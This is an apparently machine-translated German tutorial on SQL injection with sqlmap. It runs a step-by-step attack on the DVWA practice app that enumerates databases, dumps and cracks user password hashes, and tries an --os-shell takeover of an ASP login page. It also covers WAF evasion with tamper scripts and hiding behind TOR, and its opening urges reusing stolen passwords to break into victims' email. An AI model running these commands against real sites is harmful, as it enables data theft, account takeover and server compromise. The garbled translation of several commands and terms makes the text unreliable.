Diese. Wir verfügen über den Benutzernamen, das Passwort und die E-Mail-Adresse der Benutzer (und höchstwahrscheinlich sogar der Administratoren) der Website. Wenn Sie das Verwaltungsfenster der Site finden, können Sie die Kontrolle über die Site oder den Webserver erlangen. Da Benutzer dieselben Passwörter lieben und ihre Postfächer kennen, können Sie versuchen, ihre E-Mails zu hacken.

Im Allgemeinen ist SQL-Injection eine sehr gefährliche Sicherheitslücke.

SQL-Injection ist eine Angriffsart, bei der ein Angreifer die SQL-Abfragelogik einer Webanwendung modifiziert, wodurch er Werte in der Datenbank lesen/ändern/löschen und manchmal beliebigen Code auf der Serverseite ausführen kann. In diesem Artikel wird das beliebte Dienstprogramm sqlmap zum Durchführen von SQL-Injections erläutert.

Derzeit ist diese Art von Sicherheitslücke die gefährlichste überhaupt. Seit 7 Jahren wird die Spitzengruppe der „OWASP TOP-10“ von SQL-Injections angeführt.

Es gibt 5 Hauptgründe für diese Sicherheitslücke:

  1. Unzureichende oder fehlende Validierung der Eingabeparameter, insbesondere der Benutzereingaben. „Jeder Eingabeparameter ist böse“
  2. Unangemessener und schwach geschützter Zugriff auf Datenbanken. In diese Kategorie fallen Faktoren wie: eine große Anzahl von Administratoren und Superuser (Root), ein schwaches Authentifizierungssystem, eine große Anzahl von Rechten für sekundäre Administratoren usw.
  3. Die Architektur. Einsatz veralteter Technologien, fehlende Kontrollmaßnahmen, Vernachlässigung der „Threat Modeling“-Methodik.
  4. Vererbung von offensichtlich anfälligem Code, Verwendung vorgefertigter Lösungen mit geringem Sicherheitsniveau.
  5. Fehlen eines angemessenen Abstraktionsniveaus des ausführbaren Codes von den Daten.

SQLMap.

Arten von SQL-Injections.

Schauen wir uns die Arten von SQL-Injections an, die vom SQLMap-Dienstprogramm ausgenutzt werden:

  1. Boolean-basierte blinde SQL-Injection
    • Eine Methode, bei der HTTP-Anfragen und -Antworten zeichenweise gelesen werden, um Schwachstellen zu erkennen.
    • Sobald ein anfälliger Parameter erkannt wird, ersetzt SQLMap syntaktisch korrekte SQL-Anweisungen oder fügt sie hinzu, während es darauf wartet, dass der Server mit der Ausführung dieses Codes antwortet.
    • SQLMap vergleicht die ursprüngliche gültige Anfrage mit der Antwort einer Anfrage mit eingebettetem Schadcode.
    • SQLMap verwendet den Bisektionsalgorithmus ( halbiert Algorithmus), um jedes Zeichen der Antwort mit maximal sieben HTTP-Anfragen abzurufen.
    • Wenn die Antwort nicht in reinem Text angegeben wird, passt SQLMap den Algorithmus mit größeren Werten an, um die Antwort zu ermitteln.
  2. Zeitbasierte blinde SQL-Injection
    • Die zeitbasierte Methode selbst geht davon aus, dass ein gewisser Vergleich auf der Grundlage der Anforderungs- und Antwortzeiten erfolgt, indem eine syntaktisch korrekte SQL-Anweisung in den anfälligen Parameter eingefügt wird.
    • SQLMap verwendet SQL-Anweisungen, die die Datenbank für einen bestimmten Zeitraum in die Warteschleife versetzen, damit sie wieder zurückkehren kann.
    • SQLMap verwendet den gleichen Bisektionsalgorithmus zur zeichenweisen Ausgabe und vergleicht die HTTP-Antwortzeit mit der ursprünglichen Anfrage.
  3. Fehlerbasierte SQL-Injection
    • SQLMap verwendet SQL-Anweisungen, die zur Generierung bestimmter Fehler führen können.
    • Das Dienstprogramm sucht nach Fehlern in der HTTP-Antwort des Servers.
    • Diese Methode funktioniert nur, wenn die Webanwendung für die Offenlegung von Fehlermeldungen konfiguriert ist.
  4. UNION-Abfrage
    • Geben Sie eine SQL-Anweisung ein UNION ALLES AUSWÄHLEN .
    • Die auf UNION-Abfragen basierende SQL-Injection funktioniert basierend auf dem Anwendungsverhalten, d. h. wenn eine Anwendung das Ergebnis einer geschriebenen SELECT-Abfrage durch eine bestimmte Schleife oder Befehlszeile leitet, die das Schreiben der Ausgabe in den Inhalt der Seite ermöglicht.
    • Für den Fall, dass der Ausgang keine Schleife durchläuft für oder einer anderen Anweisungsfolge verwendet SQLMap die einmalige UNION-Abfrageinjektion.
  5. Gestapelte Abfrage
    • Verwendung gefalteter Abfragen. SQLMap fügt dem Wert des betroffenen Parameters ein Semikolon (;) hinzu und fügt die Anweisung hinzu SQL, das ausgeführt werden muss.
    • Mit dieser Technik können Sie andere SQL-Anweisungen als SELECT ausführen. Dies ist nützlich, um Daten zu manipulieren, Lese- und Schreibzugriff zu erhalten und schließlich vom Betriebssystem erfasst zu werden.
  6. Außerhalb der Bandbreite
    • Diese Methode verwendet einen sekundären oder anderen Kommunikationskanal, um die Ergebnisse von Abfragen auszugeben, die in der betroffenen Anwendung ausgeführt werden.
    • Die Einfügung erfolgt beispielsweise in einer Webanwendung und einem sekundären Kanal wie z DNS-Abfragen, wird verwendet, um Daten zurück an die Domäne des Angreifers weiterzuleiten.

Grundlegende Verwendung von SQLMap.

Starten Sie das Dienstprogramm (muss in der Variable enthalten sein).WEG ):

$sqlmap

Oder aus dem Dienstprogrammverzeichnis:

$ Python sqlmap.py

Um die Dokumentation aufzurufen, verwenden Sie die Taste «- H / — helfen »:

$ sqlmap --help $ python sqlmap.py –help

Die Aktionen der SQLMap-Schlüssel hängen vollständig davon ab, was genau der Angreifer erreichen möchte. Die grundlegende Liste der SQLMap-Aktionen sieht wie folgt aus:

  • Listen Sie Datenbankinformationen wie Name, Version und andere Details auf.
  • Wählen Sie eine bestimmte Datenbank aus, um Informationen zu den darin enthaltenen Tabellen aufzulisten.
  • Wählen Sie die Tabelle aus und listen Sie die Spalteninformationen auf.
  • Wählen Sie eine Spalte aus und listen Sie die Zeilen auf, um deren Werte abzurufen.
  • Weitere Ausbeutung.

Üben.

Für unsere praktische Ausbildung nutzen wir Verdammt Verletzlich Netz Anwendung (DVWA oder „Verdammt anfällige Webanwendung“).

DVWA ist eine kostenlose Webanwendung, die auf Technologien wie PHP und MySQL basiert und zum Trainieren von Pentesting-Fähigkeiten entwickelt wurde.

Jetzt sind wir nur an Injektionen interessiert, aber im Allgemeinen können Sie Ihre Fähigkeiten in anderen Schwachstellen testen, die auf der Grundlage des Beamten erstellt wurden OWASP SPITZE -10 .

P.S.: Diese Vorgehensweise setzt voraus, dass Sie über Kenntnisse der Grundlagen von Linux, erste Englischkenntnisse und die Fähigkeit verfügen, Google zu verwenden (sofern Sie nicht über die oben genannten Fähigkeiten verfügen).

Installation:

  • Laden Sie die Anwendung herunter und befolgen Sie die Anweisungen.
  • Ändern Sie den Schwierigkeitsgrad auf NIEDRIG.
  • Uns interessieren nur die „SQL-Injection“-Tabs;

Ausgangsdaten:

  • Webserver in einem privaten Netzwerk
  • Anfällige URL: http:// dein Gastgeber . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Gefährdeter Parameter: Ausweis

Also lasst uns anfangen:

  1. Wir bestätigen die VerfügbarkeitSQL Injektionen:
./sqlmap.py --url=“http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#“ --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Erklärung des Befehls:

— url – URL mit dem vermeintlich anfälligen Parameter. Es ist wichtig zu beachten, dass die Variable für diesen Schlüssel in Anführungszeichen geschrieben wird, weil Die überprüfte URL weist mehr als einen übergebenen Parameter auf. Andernfalls können Sie die Anführungszeichen ignorieren und die Kurzversion des Schlüssels verwenden “- u ohne Gleichheitszeichen .

- Cookie – Sitzungscookie für den direkten Zugriff während eines Angriffs (optionaler Schlüssel).

Abschluss:

Analyse:

  • Die Anwendung ist anfällig für SQL-Injection
  • Injektionstyp – UNION-Abfrage
  • Back-End-Datenbank (DBMS) – MySQL5
  • Technische Details zum Betriebssystem – Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Wir listen die Namen der Datenbanken auf:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Erklärung des Befehls:

—dbs – Schlüssel zum Auflisten verfügbarer Datenbanken.

Abschluss:

Analyse: SQLMap listete die verfügbaren Datenbanken auf (insgesamt 7).

  1. Wir listen die Namen der Tabellen auf (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Erklärung des Befehls:

-D – Geben Sie die Datenbank an, an der wir interessiert sind.

--tables – Listet die verfügbaren Tabellen in der Datenbank auf.

Abschluss:

Analyse: Wie wir sehen können, hat SQLMap die Namen von zwei Tabellen in der Datenbank erfolgreich aufgelistet dvwa .

  1. Weitere Auflistung der Tabellenspaltennamen „Benutzer ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T Benutzer – Spalten

Erklärung des Befehls:

-T – Geben Sie die Tabelle an, die uns interessiert.

—Spalten – Listen Sie die verfügbaren Spalten in der Tabelle auf.

Abschluss:

Analyse: Wie wir sehen können, hat SQLMap die Namen von 6 Spalten in der Tabelle erfolgreich aufgelistet Benutzer, bd dvwa .

  1. Wir listen/ziehen Werte aus der Tabelle“Benutzer ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T Benutzer -C Benutzer-ID,Benutzer,Passwort --dump

Erklärung des Befehls:

C – Geben Sie die Spalten an, die uns interessieren.

--dump – Werte aus den aufgelisteten Spalten ausgeben.

Abschluss:

Analyse: Basierend auf der Antwort von SQLMap stellen wir die folgenden Punkte fest:

  • SQLMap ruft Datensätze aus angegebenen Spalten ab und analysiert dann die in diesen Spalten enthaltenen Daten.
  • Sobald die Daten als mögliche Passwort-Hashes erkannt werden, versucht SQLMap, den Hash mithilfe verschiedener Hashing-Algorithmen zu knacken.
  • In diesem Fall ist der Hash MD5, sodass das Tool mit der allerersten Hash-Technik die Hashes erfolgreich knacken und eine gut formatierte Antwort erzeugen kann.
  • Darüber hinaus speichert das Tool die aufgelisteten Einträge im Dateiformat „.csv“ für die zukünftige Verwendung; Sie müssen die Daten also nicht in eine Textdatei kopieren oder einen Screenshot machen, SQLMap kümmert sich darum.
  1. Weiterverwertung und Übernahme des Servers (A.S.P. , nicht enthaltenDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Erklärung des Befehls:

–Daten – Geben Sie die Parameter zum Testen an, die in der POST-Anfrage gesendet werden.

–os –shell – Spezialschlüssel für den Versuch, die Serverkonsole per SQL-Injection auszunutzen.

Abschluss:

Analyse: Basierend auf der Antwort von SQLMap stellen wir die folgenden Punkte fest:

  • Nach Bestätigung und Ausnutzung der SQL-Injection prüft SQLMap, ob der Benutzer ein DBA (Datenbankadministrator) ist.
  • Das Tool versuchte dann, eine erweiterte gespeicherte Prozedur – „xp_cmdshell“ – zu verwenden, die häufig von SQL Server 2000 verwendet wird.
  • „xp_cmdshell“ wird verwendet, um die angegebene Befehlszeile als Betriebssystembefehl auszuführen. Das Ergebnis wird wiederum als Standardtext ausgegeben.

Vorteile eines tieferen Systemzugriffs:

  • Zugriff auf Benutzeranmeldeinformationen oder Passwort-Hashes.
  • Eine interaktive Shell, mit der Sie Dateien vom Server hoch- oder herunterladen können.
  • Führen Sie Achsenbefehle (OS) aus, um das interne Netzwerk zu erkunden.
  • Möglichkeit zum Herunterladen von Malware.
  • Weitere Ausnutzung mittels Metasploit Framework.
  • Erstellung und Füllung von Hintertüren.

Best Practices und erweiterte Nutzung.

  1. SQLMap UndSEIFE (Einfach Objekt Zugang Protokoll ) Anfragen: Der Prozess zum Parsen von SOAP-Anfragen ist recht einfach:
    • Erfassen Sie Ihre SOAP-Anfrage.
    • Speichern Sie es zusammen mit möglichen anfälligen Parametern in einer Textdatei.
    • Verwenden Sie den folgenden Befehl für SQLMap zusammen mit der Option -p, wenn Sie den anfälligen Parameter kennen:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap analysiert die SOAP-Anfrage automatisch und versucht, in den anfälligen Parameter einzudringen.
  1. SQLMap UndJSON (JavaScript Objekt Notation ) Anfragen: In ähnlichen Szenarien zur Verwendung von SQLMap für SOAP-Abfragen können auch JSON-Abfragen analysiert und ausgenutzt werden. Bei einem JSON-Abfragetyp fordert SQLMap Sie auf, die Sicherheitslücke auszunutzen, indem der JSON-Abfragetyp in der „Abfragedatei“ erkannt wird. Sobald Sie mit „Ja“ antworten, analysiert das Tool die Anfrage und wählt seinen eigenen Angriffsvektor.
  2. SQLMap und Proxyserver: Unternehmensnetzwerke werden in der Regel mithilfe kontrollierter Proxys für den gesamten ein- und ausgehenden Datenverkehr gesichert und überwacht. In solchen Fällen haben Sie die Möglichkeit, direkt zur SQLMap-Option eine Proxy-Option hinzuzufügen, um mit der Ziel-URL zu kommunizieren. Obwohl SQLMap ein Befehlszeilentool ist, kommuniziert es über das HTTP-Protokoll. Wenn Sie also einen HTTP-Proxy für die entsprechende Internetverbindung festlegen, verwendet SQLMap diesen als Grundlage:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap UndWAF (Netz Anwendung Firewall ): WAF ist eine zusätzliche Schutzebene für Webanwendungen, die die Analyse und den Betrieb mit den in SQLMap verfügbaren Standardmethoden erheblich erschwert. Zu diesem Zweck gibt es eine „Tamper-Script“-Funktion, die die Arbeit mit Webanwendungen, die sich hinter einer WAF befinden, erheblich vereinfacht.
  2. SQLMap und Anonymität: Wenn Sie Ihre Identität verbergen und sich gegenüber der Zielanwendung als anonym ausgeben möchten, können Sie den TOR-Proxyserver (The Onion Router) verwenden. In SQLMap können Sie den TOR-Proxy so konfigurieren, dass die Quelle, von der der Datenverkehr oder die Anfrage generiert wird, mit den folgenden Schlüsseln ausgeblendet wird:
    • tor Umschalten des Dienstprogramms in den TOR-Proxy-Modus.
    • tor Typ manuelle Konfiguration des TOR-Proxy-Protokolls (HTTP /SOCKS 4/4a /5).
    • überprüfen tor Überprüfung der Funktionalität des TOR-Proxys


 


Lesen:



Installieren der Play Market-Anwendung auf Android

Installieren der Play Market-Anwendung auf Android

Google Play Market ist eine virtuelle Präsentation von Inhalten und Anwendungen für das mobile Betriebssystem Android. Es sind nützliche Programme zu sehen...

Was bedeutet das Konzept des Bergbaus und wie beginnt man damit?

Was bedeutet das Konzept des Bergbaus und wie beginnt man damit?

Alexey Russkikh Heute gibt es kaum noch Menschen, die noch nichts vom Bergbau gehört haben. Die Ursprünge von Kryptowährungen und ihre Integration in die Weltwirtschaft...

Eingetretene Tarifänderungen

Eingetretene Tarifänderungen

Heutzutage ist es schwierig, sich sowohl die Wahl eines Mobilfunkbetreibers als auch die anschließende Wahl des optimalen Tarifplans vorzustellen, der Folgendes beinhaltete...

So ändern Sie die Schnittstelle in der Buchhaltung 3

So ändern Sie die Schnittstelle in der Buchhaltung 3

Bei der Arbeit in der einen oder anderen Konfiguration auf der 1C:Enterprise 8.1-Plattform verwenden Buchhalter täglich grundsätzlich dieselben Menüpunkte und...

Feed-Bild RSS